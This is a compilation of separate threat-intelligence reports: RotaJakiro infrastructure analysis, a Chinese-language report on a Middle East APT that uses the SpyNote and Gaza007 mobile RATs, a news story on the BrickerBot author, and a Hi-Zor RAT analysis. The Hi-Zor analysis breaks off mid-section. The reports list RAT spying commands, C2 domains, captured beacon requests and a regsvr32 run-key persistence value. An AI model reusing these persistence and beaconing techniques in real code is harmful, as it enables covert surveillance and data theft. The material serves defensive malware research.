Given the complexity and stealth of the RotaJakiro backdoor, it seems unlikely that such a noisy phishing campaign would be so easily tied to such a quiet operation. If we were to tie these together, it would be with extremely low confidence. We feel as researchers that it is much more likely that DeltaHost recycled this VPS IP address shortly after the blocklisting of these domains and it was coincidentally used in other criminal activity and that the IP address was picked up by the RotaJakiro operators. In support of this, passive DNS records show that one of these older domains was suspended just before the C2 domains for RotaJakiro began operating on that IP address. Passive DNS also shows the RotaJakiro C2 domains existing on other IP addresses prior to moving to DeltaHost. Both of these facts support the theory that these are separate.
This IP now belongs to Hivelocity, a small cloud provider that has only owned the IP address since 2019 according to the create date on the IP Whois record for their subnet. According to historical IP Whois information, Hivelocity acquired this range from Swiftway after acquiring the company which had server locations in the Netherlands. The IP shown, 46.21.147.87, is still geolocated in the Netherlands.
Unfortunately, we also cannot find any connections between the C2s mentioned in Avast’s Torii botnet report from 2018 and the domains in the RotaJakiro report. Netlab did mention similarities between RotaJakiro and the Torii botnet in their operation. If there had been a tie between those domains even and the [email protected] domains, we could increase our confidence in them belonging to the same operator.
Sometimes when reaching a dead end on infrastructure databases, the best thing for us as analysts to do is turn to traditional search engines. Throwing in the initial C2 domains we discovered and a few interesting hits came up. The first is a link to a 2016 repository of Tor DNS logs that show to us that this domain has at least been accessed since 2016. The second is from a Turkish government website and is a URL list in XML format. The domains are mentioned as appearing on April 29, 2021, same as the time of this writing, from the Zararlı Yazılım Komuta Kontrol Merkezi, which is Turkish for Malware Command Control Center, likely having been an ingestion of the original Netlab report.
## Summary of Additional Information and What It Tells Us
- **C2 Domains**: Same registrant has owned these domains since their initial registration in 2015.
- **IP On DeltaHost VPS Provider**: VPS providers share resources amongst clients, so unless we can overlap some records, we cannot confirm that a single IP ties two events together.
- **IP Used In Other Maliciousness**: The VPS IP was used, but never overlapped, with another set of malicious domains doing Office 365 phishing with entirely different registration patterns and levels of noise.
- **C2s Previously Used A Different IP**: During the time where there could have been overlap with other maliciousness, the C2s used an IP on a different VPS provider in the Netherlands.
- **No Infrastructure Tie To Match**: The Torii Botnet mentioned by Netlab does not have any infrastructure ties to RotaJakiro.
## Conclusion
Although we were unable to tie the Netlab report on RotaJakiro to another operator, we have produced a good amount of evidence and potential conclusions for further analysis. We’ve been able to confirm timelines from the Netlab report as well as mark key oddities for further avenues of investigation. We were also able to identify additional IP addresses which had been previously used by the C2 domains and would lower the threshold of confidence for tying this to previous maliciousness. When all else brought us to a dead end, we were able to expand upon our original timeline thanks to good old fashioned OSINT using classic search engines. Whenever coming across reports like this, we hope that customers can find DomainTools useful in the practice of digital archeology.
|
# 奇安信威胁情报中心
## 概述
近期奇安信威胁情报中心移动安全团队注意到一波针对伊斯兰国、基地组织、库尔德族群和土库曼族群进行持续攻击控制的活动,时间跨度从自2019年3月起至今,通过从多源信息的交叉比对我们推测攻击组织来自中东某国,将其命名为利刃鹰组织。
主要时间线如下:
**图1.1** 利刃鹰组织针对的特殊攻击目标部分攻击时间线
利刃鹰组织主要使用开源和商业攻击软件,平台涵盖Windows和Android,截止目前我们一共捕获到Android平台攻击样本43个,Windows平台攻击样本26个,涉及的C&C域名3个。
## 攻击目标
在对移动端的攻击样本分析过程中,我们发现到利刃鹰组织具有明显的攻击目标指向性,旨在对其目标实现监控及反监控,其攻击包含针对多个特色目标。
### 针对伊斯兰国及基地组织
利刃鹰组织投递多个针对伊斯兰国及基地组织的移动端RAT,这些攻击样本涉及到伊斯兰国的主要新闻媒体Amaq及官方报纸Al-Naba;亲基地组织的宣传网站Minbar al-Tawhid wa’l-Jihad;伊斯兰的Tube视频应用等。
**图2.1** 针对伊斯兰国及基地组织的攻击样本应用图标
### 针对库尔德族群
其投递两种针对库尔德族群的移动端RAT,这些攻击样本涉及到库尔德斯坦的新闻杂志Darka Mazi及一款库尔德键盘应用。
**图2.2** 针对库尔德族群的攻击样本应用图标
### 针对土库曼族群
其投递一款针对土库曼人的移动端RAT,攻击样本涉及到伊拉克知名伊斯兰研究教授宣传网站应用,需要留意的是该网站采用的是土库曼语。特殊的地区人物和特殊的语言,结合地区的局势情况,这对锁定攻击者身份推测大有帮助。
**图2.3** 针对土库曼族群的攻击样本应用图标
**图2.4** 土库曼语的伊拉克知名伊斯兰研究教授宣传网站
### 疑似针对土耳其人
其投递一款伪装成流行的条形码扫描应用的移动端RAT,需要注意的是该样本留有特殊标识“Barcode Scanner Turkey”,疑似还针对土耳其人。
**图2.5** 疑似针对土耳其人的攻击样本应用图标
**图2.6** 攻击样本留下的特殊标识“Barcode Scanner Turkey”
### 疑似针对区域性的监控及反监控
其攻击样本还涉及到多种常见行业应用,包含电视应用、社交保护应用、保险应用、网络应用及游戏应用等,疑似来实现对其关注的区域进行范围监控;另还涉及到多款监控辅助应用,包含位置查看、电话号码定位、自动通话记录和屏幕录制等,疑似来实现反监控。
**图2.7** 疑似进行区域监控的涉及多种常见行业的攻击样本应用图标
**图2.8** 疑似实现反监控的攻击样本应用图标
## 载荷投递
基于奇安信威胁情报中心移动安全团队的内部分析系统和奇安信威胁情报平台关联系统等追踪分析,我们发现到利刃鹰组织攻击载荷主要存放在第三方存储网站上 (up4net.com),再通过生成对应短链接,最后发布到钓鱼信息中进行载荷投递。如曾在社交平台Facebook上进行的针对库尔德人的载荷投递过程可参见下图。
**图3.1** 在Facebook上发布钓鱼信息的方式
**图3.2** 在Facebook上发布的载荷短链接及对应的样本关系
## 攻击样本分析
利刃鹰组织投入Windows和Android平台的攻击RAT,目前已被发现有五种商业RAT。其中Windows平台有四种(Bladabindi、Remcos、Loda和Warzone),均是常见的RAT,故在此不再重复展开分析。Android平台有两种(SpyNote和Gaza007)。
### SpyNote
SpyNote是一款流行的移动端商业RAT。其支持的功能多样,最新收费版售价可观,根据不同场景需求目前官方有三种价位($499、$4000和$6000)。其还带有免费版,另有早期版本源码被泄露,其多个破解版本和修改版本已在多个黑客网站上泛滥传播。
**图4.1** SpyNote被控端代码结构(左)和控制端管理界面(右)
### Gaza007
Gaza007是一款2019年诞生的移动端RAT。目前被发现最早于2019年3月出现,随后被多个攻击者投入使用,目前数量已有千级,我们通过其默认的签名信息进行命名为“Gaza007”。其类似于SpyNote,功能也十分强大,现已支持近四十种远程指令,在初次登场后不久便迅速更新集成有专门钓鱼Facebook的功能。根据其采用的证书签名信息及其主要投入的攻击区域来推测,其大概率是加沙黑客所制作的商业RAT。
| 指令 | 功能 |
|----------------|------|
| Unistxcr | 跳转到指定应用的详情页面 |
| Dowsizetr | 窃取/sdcard/DCIM/.dat/目录下指定文件其文件大小信息到C&C服务器 |
| DOWdeletx | 删除/sdcard/DCIM/.dat/目录下指定文件 |
| Xr7aou | 窃取/sdcard/DCIM/.dat/目录下指定文件到C&C服务器 |
| Caspylistx | 窃取/sdcard/DCIM/.dat/目录下所有文件列表名称信息 |
| Spxcheck | 检查是否成功开启或关闭窃取呼叫详细信息服务 |
| S8p8y0 | 关闭窃取呼叫详细信息服务 |
| Sxpxy1 | 开启窃取呼叫详细信息服务 |
| screXmex | 进行截屏并窃取 |
| Batrxiops | 监控电池状态 |
| L4oclOCMAWS | 监控受害者地理位置 |
| FdelSRRT | 删除盗取到的受害者Facebook凭证文件 |
| Chkstzeaw | 检查Facebook应用是否运行 |
| IODBSSUEEZ | 将已盗取到的受害者Facebook凭据文件发送到C&C服务器 |
| GUIFXB | 启动钓鱼的Facebook登录界面 |
| LUNAPXER | 响应启动到另一个应用程序 |
| Gapxplister | 获取所有已安装应用程序的列表 |
| DOTRall8xxe | 对窃取信息目录下所有文件进行压缩到/DCIM/目录后再上传给C&C服务器 |
| Acouxacour | 窃取受害者设备帐户信息 |
| Fimxmiisx | 进行拍照并窃取 |
| Scxreexcv4 | 获取相机情况信息 |
| micmokmi8x | 进行录音并窃取 |
| DTXXTEGE3 | 删除/sdcard/目录下指定文件 |
| ODDSEe | 启动指定的Activity |
| Yufsssp | 窃取地理位置的经纬度 |
| Getsssspo | 窃取/sdcard/目录下指定文件其文件大小信息到C&C服务器 |
| DXCXIXM | 窃取/sdcard/DCIM/目录下所有文件列表名称信息 |
| f5iledowqqww | 窃取/sdcard/目录下指定文件到C&C服务器 |
| SDgex8se | 窃取/sdcard/目录下所有文件列表名称信息 |
| PHOCAs7 | 响应拨打指定的电话号码 |
| Gxextsxms | 窃取收件箱短信信息列表 |
| Msppossag | 响应给指定的手机发送指定的短信消息 |
| Getconstactx | 窃取通讯录信息列表 |
| Rinxgosa | 播放铃声 |
| Shetermix | 响应执行指定的命令 |
| bithsssp64 | 响应执行指定的脚本文件 |
| Deldatall8 | 删除/sdcard/DCIM/.dat/目录下所有文件 |
| M0xSSw9 | 响出指定的Toast消息 |
**表4.2** Gaza007功能指令表
**图4.3** Gaza007钓鱼Facebook界面(左)及对应的实现代码片段(右)
## 攻击组织溯源分析
利刃鹰组织具有明显的针对特殊群体目标,显然不是普通的黑客组织的攻击需求,我们认为该组织疑似是来自中东某国国家背景下实行的监控活动。主要依据如下:
1. 熟悉某个地区的多种语言及背景,针对地区的库尔德族群、基地组织及土库曼族群,并对该区域疑似实行监控及反监控的攻击。
2. 结合中东某国的历史背景及地缘关系,攻击活动恰好符合其所需。
3. 三个C2的历史对应IP多次显示出位于中东某国,并有多次重叠,显然并不是一种巧合。
**图5.1** 选取的IOC关联图
## 总结
中东地区由于宗教种族和地缘政治关系,一直是多个APT组织的高度活跃地区。此次的利刃鹰组织也无疑又是其中的一个新代表。需注意的网络钓鱼可谓老生常谈,却仍是攻击者屡试不爽的惯用手法,最有效的武器。
应对这些攻击不仅需要安全厂商的各类安全产品的防护和到位的安全服务支持,更离不开企业对内部自身安全规程及企业内部员工安全防范意识的持续建设。针对普通用户如何避免遭受移动端上的攻击,奇安信威胁情报中心移动安全团队提供以下防护建议:
1. 在正规的应用商店下载应用。国内的用户可以在手机自带的应用商店下载,国外用户可以在Google Play下载。不要安装不可信来源的应用、不要随便点击不明URL或者扫描安全性未知的二维码。
2. 移动设备及时在可信网络环境下进行安全更新,不要轻易使用外来的网络环境。
3. 对请求应用安装权限、激活设备管理器等权限的应用要特别谨慎,一般来说普通应用不会请求这些权限,特别是设备管理器,正常的应用机会没有这个需求。
4. 确保安装有手机安全软件,进行实时保护个人财产安全;如安装奇安信移动安全产品。
目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC等,都已经支持对此类攻击的精确检测。
## 附录A:IOC
APK 样本文件MD5
- 8967cf93287a93f747971689cf33e674
- fe7266f1ff31c0faf8f650bfff8bd267
- 6034cad5ec2badd4ad3f009f33d2d86e
- 5e1e0e5247fd9b509ba25cfb8f2c442b
- 9b6c662447aea005a12fecf5d8e5734b
- 7d4991317dd0e67daa70a124c62d257c
- 271606d7a822610be10830fd13fc94cd
- 52d592f68dc64c8f881deddebdae7cb2
- 6f2cf52941fa837abd01fd71a16c32ae
- e962674bc94fc7aff06e7fe2a1546f92
- 397921cd0df96ea2b46cb50352a61691
- c31f5c84fb2a140ce26ebe2a5a2426b6
- 931efe504e5e6c58a738fea5802c6e38
- bf9d2ea0329915b6498db7373e90dc14
- 253ea0a6889a8f2b217f0ae6f436ebc3
- 555ce971658adde6d5cec86edfbf2a8b
- 11024c3ccf7cbbf89c820327c90b7133
- 4303d5073d0ee1d69b19c5069d5613d4
- 2d0c8974b1942295c07f49c8f4a5b7c5
- 9a0f72cdc9a2846da937676e1efe8bf4
- 67b20f7d47a18128e8eaebd9c075f4b3
- 7462d3be5f649b52794ca5a1f1d201f1
- bb7e661a983f491c63d0337c5da7b291
- d52ecc2c3c57401e2170184b324d8a99
- e9d2370a8ffb54ad7de6b77a1535e21b
- 5715d5d0ede440f22c3a468e3003a8bb
- 8c543bfa2f35df239b307fc3694bf9f1
- 7da70a17c9d804e4e4f6266f5e2f890d
- 38b018fbb4d5b1780a2f356238d0f1ea
- dc97856c031fa4e0126b6786cd3fbe8c
- bea771a408f3b3bfff4887704305187c
- 90e4ef393b9a2a4ba79148f9d0646d92
- ef875da5b37b8e49f41e8844ec1135d7
- 2945b8f6e3310eb9b821276cfb30a188
- 1c499b3bb646868913e866190c4784a2
- b20ad69df52872d5560bb3147abeea27
- cf5e2a1a953248ffd6e192ca80485674
- 02b8767d6137cb3756fbc095c243cccf
- bfdc838fa7c75a0113baf7215a72b97f
- d6b36254646e2c5e0c969c56a3f876fe
- 010831176ad5f06a325a9ece278c386f
- 40678deceecee7c6cdb6e905a7f8c403
- 8a3d2bfcda27d2b2e4104812abd14f6d
C2服务器域名
- l3d3r.ddns.net
- alex00.ddns.net
- adam9.ddns.net
PC样本文件MD5
- 4e81711c961011e6328043b8bdce9098
- 6bb4dce616edfe8754e962df9f89295b
- 45ecde74ee167a88c0f80009ea7c61f3
- b1666d9ae06990298fbd23fa99728a56
- 12db000b7591360350f85a225e0dcfc3
- d39da3d21f757c622171992aa9211b40
- 1c271931c694b9eeb4da1ca3f9d214ec
- d9b58f64930a8d92b4446d8f66831225
- 4c9fbdbee78f7410b9e87d8c90d19578
- 68e4981bb2ea02eec44ada103129a4c0
- 95c94b2056f4059090c1c8ef65713f03
- 69baef3a6df42d6a5789948805b3fa88
- 9c18bf001316471165c9956313b2d230
- 8f37da085073082f99d3f25b2e303c44
- a15fac323830b9a5e268af76acfe4232
- ec11869aca4f08ad3fa5cbc58f94fbdc
- d5e325cf6ce23f56c4841bb14beb40ee
- aae6eb4a99d0f82977a187de1cf43a75
- 26c5b21fa2b01a0c9bc45fbead6ef36c
- 72ec17a2ac3b63d07269ddce9c7f38e0
- 639fc77077910cc6249da3b97258fa00
- 18acfe1a7038ca0c0229b0daf8060c6b
- aa03d8ec5c2a4931386880275142ef9d
- f800d75dd85d463f932c5d10b5b2fa0c
- c45f2b6f032ac89553374ec9a4916966
- 30b1e448b5e7144024afafee0a8275db
## 附录B:奇安信威胁情报中心
奇安信威胁情报中心是北京奇安信科技有限公司(奇安信集团)旗下的威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础,基于奇安信长期积累的核心安全技术,依托亚太地区顶级的安全人才团队,通过强大的大数据能力,实现全网威胁情报的即时、全面、深入的整合与分析,为企业和机构提供安全管理与防护的网络威胁预警与情报。
奇安信威胁情报中心对外服务平台网址为 https://ti.qianxin.com/ 。服务平台以海量多维度网络空间安全数据为基础,为安全分析人员及各类企业用户提供基础数据的查询、攻击线索拓展、事件背景研判、攻击组织解析、研究报告下载等多种维度的威胁情报数据与威胁情报服务。
## 附录C:奇安信威胁情报中心移动安全团队
奇安信威胁情报中心移动安全团队一直致力移动安全领域及Android安全生态的研究。目前,奇安信的移动安全产品除了可以查杀常见的移动端病毒木马,也可以精准查杀时下流行的刷量、诈骗、博彩、违规、色情等黑产类软件。通过其内部分析系统可以有效支持对溯源分析等追踪。通过其高价值攻击发现流程已捕获到多起攻击事件,并在今年发布了多篇移动黑产报告,对外披露了三个APT组织活动,其中两个是首发的新APT组织(诺崇狮组织和此次的利刃鹰组织)。未来我们还会持续走在全球移动安全研究的前沿,第一时间追踪分析最新的移动安全事件、对国内移动相关的黑灰产攻击进行深入挖掘和跟踪,为维护移动端上的网络安全砥砺前行。
## 附录D:奇安信移动产品介绍
奇安信移动终端安全管理系统(天机)是面向公安、司法、政府、金融、运营商、能源、制造等行业客户,具有强终端管控和强终端安全特性的移动终端安全管理产品。产品基于奇安信在海量移动终端上的安全技术积淀与运营经验,从硬件、OS、应用、数据到链路等多层次的安全防护方案,确保企业数据和应用在移动终端的安全性。
奇安信移动态势感知系统是由奇安信态势感知事业部及其合作伙伴奇安信威胁情报中心移动团队合力推出的一个移动态势感知管理产品。不同于传统移动安全厂商着重于APP生产、发布环节,为客户提供APP加固、检测、分析等;移动态势感知面向具有监管责任的客户,更加着重于APP的下载、使用环节,摸清辖区范围内APP的使用情况,给客户提供APP违法检测、合规性分析、溯源等功能。
|
# BrickerBot Author Claims He Bricked Two Million Devices
Just like Wifatch and Hajime, the BrickerBot malware is the work of a vigilante grey-hat, who goes online by the name of Janit0r, a nickname he chose on the Hack Forums discussion boards.
If you're unfamiliar, BrickerBot is a new malware family that was first identified at the start of the month by Radware researchers. The malware made headlines because it was the first threat of its kind that intentionally bricked IoT and networking devices, by rewriting the flash storage space of affected devices with random data. Such actions rendered troves of devices useless, many needing a firmware reinstall, but as many needing to be replaced altogether.
Destructive actions like these caught the attention of authorities. In the US, the Department of Homeland Security’s Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) issued an official alert last week, warning companies to disable Telnet and SSH access to their devices and asking owners to change their devices' default factory passwords.
Since BrickerBot's appearance, law enforcement and the infosec community have been on the hunt for new information regarding how BrickerBot operates and who's behind it. New information surfaced over the Easter weekend when Bleeping Computer received an anonymous tip about the online identity of BrickerBot's creator. The tipster pointed us towards the profile of a Hack Forums user named janit0r.
We ignored the tip at first since Hack Forums is known to attract a crowd of braggadocio hackers, many of whom tend to "embellish" their abilities or knowledge. We expected that two weeks after BrickerBot's discovery, Hack Forums would be abuzz with people trying to take credit for BrickerBot, but it was strangely silent.
On Monday, feeling bad that we did not follow through with the same diligence that the tipster had warned us with, we decided to have another look over janit0r's profile. What we discovered was a user that registered on January 21, 2017, had the forum boards set up to use the Alaska timezone and had made four posts.
Right off the bat, his first post was the most interesting one. In a forum topic discussing a decline in the number of active Mirai bots, Janit0r made the following statement: "I have killed over 200K telnet devices since Nov.. you've probably seen a drop in your bot counts by now."
His second and third posts also came before BrickerBot became public and attested to his skills as a reverse engineer, in a topic he started himself, discussing a security flaw in Dahua 2nd and 3rd generation IP cameras. The researcher who discovered and made public the flaw withheld proof-of-concept exploit code for one month, to give Dahua customers time to apply a firmware update. Janit0r showed dissatisfaction with the researcher's action and published exploitation details for that particular bug himself.
His last post was in a topic started by a user who "heard" that BrickerBot's source had leaked. Janit0r's response was quick and to the point: "I'm gonna call bullshit on this rumor.. I'm pretty sure I'd be sitting in jail if someone had managed to snatch the full source off my desktop."
At this point, we had to confirm that Janit0r was indeed BrickerBot's author and not just some guy bragging on Hack Forums. This is how we spent the next two days, scraping through the Dark Web, underground hacking forums, and getting in contact with a few threat intelligence analysts we knew. By Wednesday, we didn't manage to find any other clue of Janit0r's existence, or anybody else claiming to be BrickerBot's author, with some solid proof on his side. That's when we just gave up and launched a desperate tweet, asking BrickerBot's author to reach out.
Lo and behold, this was exactly what happened. The same day, we received an email from a person claiming to be BrickerBot's creator. The email contained lots of details about BrickerBot's operation and internal structure. Nevertheless, at this point, we knew that there could be the possibility that someone was pulling a prank.
Chance had it that someone else had also seen our tweet. That person was Victor Gevers, a security researcher mostly known for tracking the destructive ransom attacks against MongoDB and other databases. In the Bleeping Computer article that broke the news of BrickerBot's existence, we asked Victor for his expert opinion on this new malware's behavior and repercussions. Victor not only put BrickerBot in perspective for our readers, but also asked BrickerBot's creator to reach out and discuss an alternative method of dealing with unsecured IoT devices, instead of blindly destroying people's property.
Unknown to all was that BrickerBot's author had reached out to Victor hours after our article went live. The two had shared notes and Victor was acting as an intermediary between Janit0r and various CERTs. All the operational details shared with us on Wednesday were the same Janit0r shared with Victor in the previous three weeks, confirming we were speaking with the same person.
"Yes, I am janit0r," the BrickerBot author started his email, which then continued with Janit0r showing his anger at the sad state of affairs in the realm of IoT security. "Like so many others I was dismayed by the indiscriminate DDoS attacks by IoT botnets in 2016. I thought for sure that the large attacks would force the industry to finally get its act together, but after a few months of record-breaking attacks it became obvious that in spite of all the sincere efforts the problem couldn't be solved quickly enough by conventional means."
The IoT security mess is a result of companies with insufficient security knowledge developing powerful Internet-connected devices for users with no security knowledge. Most of the consumer-oriented IoT devices that I've found on the net appear to have been deployed almost exactly as they left the factory. For example, 9 out of every 10 Avtech IP cameras that I've pulled the user db from were set up with the default login admin/admin! Let that statistic sink in for a second.. and then consider that if somebody launched a car or power tool with a safety feature that failed 9 times out of 10 it would be pulled off the market immediately. I don't see why dangerously designed IoT devices should be treated any differently and after the Internet-breaking attacks of 2016 nobody can seriously argue that the security of these devices isn't important.
"I hope that regulatory bodies will do more to penalize careless manufacturers since market forces can't fix this problem. The reality of the market is that technically unskilled consumers will get the cheapest whitelabel DVR they can find at their local store, then they'll ask their nephew to plug it into the Internet, and a few minutes later it'll be full of malware. At least with 'BrickerBot' there was some brief hope that such dangerous devices could become the merchant's and manufacturer's problem rather than our problem."
BrickerBot allegedly wiped over two million devices. "I joined Hackforums in January mainly to see if my activities had been noticed by the botnet kids. Back then 200,000 bricked units seemed like a lot and I was sure I was close to the end of it. Now when the count is over 2 million it's clear that I had no idea (and still have no idea) how deep the rabbit hole of IoT insecurity is. I'm certain that the worst is still ahead of us."
"I hope the unconventional actions by 'BrickerBot' have helped in buying another year of time for governments, vendors and the industry in general to get the current IoT security nightmare under control."
Many other people have also done important things to combat IoT malware (Team White, Hajime author, @packetcop and his fellow sinkholers, etc) so I'm by no means claiming credit for Mirai being weak in Q1/2017, but if Imeij and Amnesia have suffered a little recently then it's probably mainly my fault.
Janit0r's email then goes on to detail a few operational details regarding BrickerBot's infrastructure, also dispelling the notion that he's a madman set on the random destruction of IoT devices. In reality, Janit0r wants to be considered in the same class as the White Team, the self-proclaimed white-hat hackers behind the Wifatch malware, and the author of the Hajime malware, another vigilante who created a new malware family last October that tries to secure IoT devices by force.
The Radware writeup made 'BrickerBot' sound simplistic, but it actually carries 86 protocol and device-specific payloads and is relatively successful at mitigating commonly exploited devices. The bot's every action has a statistically determined purpose and what might've seemed like buggy behavior in the honeypot really isn't. As a preference 'BrickerBot' will try to secure units without damaging them and the bricking behavior is a 'plan B' (yes the B stands for brick) for units which are unlikely to be securable. A blogger on the net wondered about 'BrickerBot' simply trying to change his honeypot's login and this would've been due to the bot assuming the device had a persistent user db. Because the honeypots are often quite different from any actual devices the behaviors in them are usually weird.
If security researchers made their honeypots look more like actual devices (that one could actually find with default credentials on the net) and hosted them on dirtier networks they would find even more interesting things going on.
Victor Gevers, who confirmed Janit0r's bricking statistics, also believes this person is only misguided and hopes to convince him to abandon his ways. "The writer of the email does not strike me as a bad person," Gevers told Bleeping Computer based on his own communications with Janit0r. "Just some young guy who was too eager to solve a problem."
For the time being, Janit0r doesn't seem interested in stopping BrickerBot attacks, or at least not until officials and hardware vendors take a look at IoT security and start changing things with a hurry. Authorities have been talking about IoT security standards for years, but in the meantime, some of the same vendors participating in those discussions have continued to ship out insecure devices with the same ol' default passwords.
In a follow-up email, Janit0r wrote: "I consider my project a form of 'Internet Chemotherapy.' I sometimes jokingly think of myself as The Doctor. Chemotherapy is a harsh treatment that nobody in their right mind would administer to a healthy patient, but the Internet was becoming seriously ill in Q3 and Q4/2016 and the moderate remedies were ineffective. The side effects of the treatment were harmful but the alternative (DDoS botnet sizes numbering in the millions) would have been worse. I can only hope that when the IoT relapse comes we'll have better ways to deal with it. Besides getting the number of IoT DDoS bots to a manageable level my other key goal has been to raise awareness. The IoT problem is much worse than most people think, and I have some alarming stories to tell."
Nonetheless, the actions of BrickerBot place this malware in the same category as other destructive e-threats, such as ransomware and banking trojans. Janit0r already knows he's a wanted man and has taken many precautions. Tracking down Janit0r's real-life persona may also be a little harder than going after teenagers that rent DDoS botnets with their father's credit card. While he signed his Hack Forums posts with the name "Rob," Janit0r also used different names within each email, said he never intends to log into his Janit0r Hack Forums account again, and has consistently changed email addresses every few days.
For what's worth it, Janit0r has been very careful with his OpSec, compared to many of today's hackers, who, according to a Flashpoint report released yesterday, prefer Skype as their main communications method, an IM service known to give up data on its users to law enforcement.
Current clues like Janit0r's reverse engineering skills, in-depth knowledge of the malware scene, and a desire to do good, point to the fact that we may be dealing with another security researcher or network engineer that has decided to do something about the ever-increasing number of unsecured network and IoT devices. "For what it's worth I'll state that I've never actually worked in networking, systems administration, information security or anything of the sort, but I have a hobby interest in all of the above. I believe that basic knowledge in such things is good self-defense in the 21st century," Janit0r wrote in an email.
Right now, all users and companies can do is to follow Radware and ICS-CERT's recommendations, and block access to Telnet and SSH ports, and also change the device's default password. Otherwise, they may get a visit from BrickerBot, and it might reach Plan B.
|
# Introducing Hi-Zor RAT
**Author:** Threat Research Team
**Date:** January 27, 2016
In Fidelis Threat Advisory #1020 (FTA), we provided comprehensive analysis of a tool that had been observed in a campaign called INOCNATION. Fidelis Threat Research is now confident that the malware observed in that campaign is a new Remote Access Trojan (RAT) that we are calling Hi-Zor RAT based on strings observed in the sample.
Hi-Zor RAT uses the following techniques, some of which have been observed in other APT tools:
- Uses string-stacking, a technique observed in the Etumbot and Ixeshe families.
- Creates a copy of itself in the systems with a ‘.dat’ extension and entrenches it in the registry run key with ‘regsvr32.exe’ pointing to a DLL file without a DLL extension. This technique has been observed in the Derusbi malware.
- Sends a victim’s Volume Serial Number information in the beacon. This technique has been observed in Sakula.
- Double XOR to encode command and control.
- Uses common applications, such as VPN installers, as the decoy. This tactic has been observed in Sakula.
Beyond these techniques, it provides core RAT features such as:
- Process execution
- Reverse shell
- File management
- Upload/Download
- Kill switch/Uninstall
Fidelis Threat Advisory #1020 provides detailed analysis of these facets. New indicators and an updated Yara rule are available for download.
There are few samples of Hi-Zor RAT that have been observed in public malware repositories such as VirusTotal. In our estimation, Hi-Zor RAT represents continued investment and tooling by APT actors and it is our expectation that it will feature in future intrusions.
## Why is the Hi-Zor RAT not Sakula?
Crowdstrike first notified the world about this tool in their blog post ‘Sakula Reloaded.’ The following analysis is why we’re defining Hi-Zor to be distinct from Sakula RAT.
Our comparative analysis is based on the following Hi-Zor malware sample related to the INOCNATION campaign:
**MD5:** 75d3d1f23628122a64a2f1b7ef33f5cf
**SHA256:** cd07ac5947c643854375603800a4f70e2dfe202c8a1f801204328921cb3a2a4c
As a reference, to obtain publicly documented samples of Sakula, we used the article released by Dell SecureWorks: Sakula Malware Family.
**MD5:** f25cc334809bd1c36fd94184177de8a4
**SHA256:** 2b4cc716ec23a095d831069968d951a125f40574775f466f4251c8a0a37abfca
Some differences were found between the above samples:
1. **Code comparison with BinDiff**
Comparing the code with the Google BinDiff, the tool found that only 5% of the code is similar.
| Name | Value |
|----------------------------------------------------------------------------|-------|
| basicBlock matches (library) | 116 |
| basicBlock matches (non-library) | 65 |
| basicBlocks primary (library) | 65 |
| basicBlocks primary (non-library) | 327 |
| basicBlocks secondary (library) | 3161 |
| basicBlocks secondary (non-library) | 423 |
| flowGraph edge matches (library) | 93 |
| flowGraph edge matches (non-library) | 40 |
| flowGraph edges primary (library) | 93 |
| flowGraph edges primary (non-library) | 440 |
| flowGraph edges secondary (library) | 4489 |
| flowGraph edges secondary (non-library) | 586 |
| function matches (library) | 30 |
| function matches (non-library) | 49 |
| functions primary (library) | 6 |
| functions primary (non-library) | 101 |
| functions secondary (library) | 246 |
| functions secondary (non-library) | 153 |
| instruction matches (library) | 285 |
| instruction matches (non-library) | 254 |
| instructions primary (library) | 242 |
| instructions primary (non-library) | 4692 |
| instructions secondary (library) | 13158 |
| instructions secondary (non-library) | 2945 |
| basicBlock: MD index matching (bottom up) | 3 |
| basicBlock: MD index matching (top down) | 4 |
| basicBlock: call reference matching | 2 |
| basicBlock: edges Lengauer Tarjan dominated | 4 |
| basicBlock: edges MD index (bottom up) | 18 |
| basicBlock: edges MD index (top down) | 37 |
| basicBlock: edges prime product | 19 |
| basicBlock: entry point matching | 20 |
| basicBlock: exit point matching | 5 |
| basicBlock: exit point matching | 2 |
| basicBlock: jump sequence matching | 2 |
| basicBlock: loop entry matching | 2 |
| basicBlock: prime matching (0 instructions minimum) | 4 |
| basicBlock: propagation (size==1) | 53 |
| basicBlock: relaxed MD index matching | 4 |
| basicBlock: self loop matching | 2 |
| function: MD index matching (flowgraph MD index, top down) | 1 |
| function: address sequence | 2 |
| function: call reference matching | 3 |
| function: call sequence matching (exact) | 13 |
| function: call sequence matching (sequence) | 39 |
| function: loop count matching | 1 |
| function: name hash matching | 20 |
| **Confidence** | 0.267 |
| **Similarity** | 0.053 |
2. **IDA code decompilation**
The following screenshots show the main SWITCH statements between the samples showing their difference.
3. **Network traffic**
The network traffic between both samples is also different. The Sakula samples beacon out with the following traffic:
```
POST /newimage.asp?imageid=ivpgvz–1004122437&type=0&resid=365854765 HTTP/1.1
User-Agent: iexplorer
Host: citrix.vipreclod[dot]com
Content-Length: 176
Cache-Control: no-cache
```
The malware discussed in Fidelis Threat Advisory #1020 beacons over a secure connection (e.g. TLS) with the following traffic:
```
POST /-1004122437VICTIM.1a53b0cp32e46g0qio9 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: inocnation[dot]com
Content-Length: 8
Connection: Keep-Alive
```
In the above traffic, both samples send the Volume Serial Number in the same format, but the traffic is still different. The traffic from the Hi-Zor sample includes the victim’s system Computer Name and is sent over a secure connection.
4. **String obfuscation**
In the Sakula sample analyzed, the malware configuration (e.g. C2, URL, Filename, etc.) is obfuscated with a single byte XOR key of “0x56”. In the Hi-Zor sample, the C2 configuration is obfuscated with a double XOR with the following keys: “0x70” and “0x79”. The string stacking technique is also widely used in the Hi-Zor sample, while this technique is not observed in the Sakula sample inspected.
5. **File type**
The Sakula malware is a “.EXE” file and the malware in the FTA is a “.DLL” file.
6. **Registry entrenchment**
The Sakula malware entrenches in the system here:
- **Key:** HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
- **Value name:** MicroMedia
- **Value data:** %TEMP%MicroMediaMediaCenter.exe
While the Hi-Zor sample entrenches in the system here:
- **Key:** HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
- **Value name:** AdobePlayer
- **Value data:** regsvr32 /s “%APPDATA%adobeadobe.dat”
7. **Embedded files**
